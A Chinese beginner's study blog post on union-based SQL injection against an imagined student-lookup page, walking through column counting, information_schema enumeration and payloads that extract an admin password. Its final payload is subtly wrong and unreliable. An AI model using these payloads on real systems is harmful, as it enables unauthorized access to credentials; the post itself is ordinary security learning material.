SQL注入初学(1)

,DAY1:

在知识星球上看到了师兄的《从0开始学习sql注入》,最近开头蛮有意思的,而且最近学了一点点PHP、MySQL,于是感兴趣的试图开始学习一点sql注入。

那就从最简单的网页开始吧

首先是小黄同学搭建了一个简单的数据管理系统,其中有一个查询功能点可以查询学生的用户名

(搭网站看起来也挺有意思下次试试=)

如果在MySQL数据库users中的表userinfo中存有三列:学号id,用户名uname,密码password;表建立完成后添加了五个用户信息,其中包含了管理员账号admin和密码。

如果在用户输入时没有进行过滤或转义,直接把用户输入拼接到了后端的sql语句中,就可以进行SQL注入。

一、需要用到几个sql语句:

1:union select

用来查询多个字段;

union select <列1,列2,......> from <table_name> where <condition>;

2:order by

用于查询结果的排序;

用法是当order by 的列数大于实际列数,那么就会报错,可以用来判断表中有几列。

3:group_concat

用于把多个查询结果进行连接,可以把查询出的字段连接显示。

二、在数据库information_schema,储存着两个重要的表,

information_schema.tables(储存着所有表名)

information_schema.columns(储存着所有列名)

在information_schema.tables中一列table_schema(储存着来自哪个数据库)可以知道来源数据库的名字

三、开始查询。

如果输入

1 union select 1,2,3 #

因为只有一个回显位,所以先显示了id1的查询结果

所以需要控制回显字段

-1 union select 1,2,3 #

发现2被回显,说明回显字段在第二列

接下来输入

-1 union select 1,database(),3 #

 返回:users

此时可以得到数据库名称:users

输入payload去爆表名

 

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="userinfo"#

得到表名id.passwd.uname

-1 union select 1,passwd,3 from information_schema.columns where name="admin" #

 于是就可以得出admin的密码啦

理论学习到此,下一步可能是找点题实践啦=)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值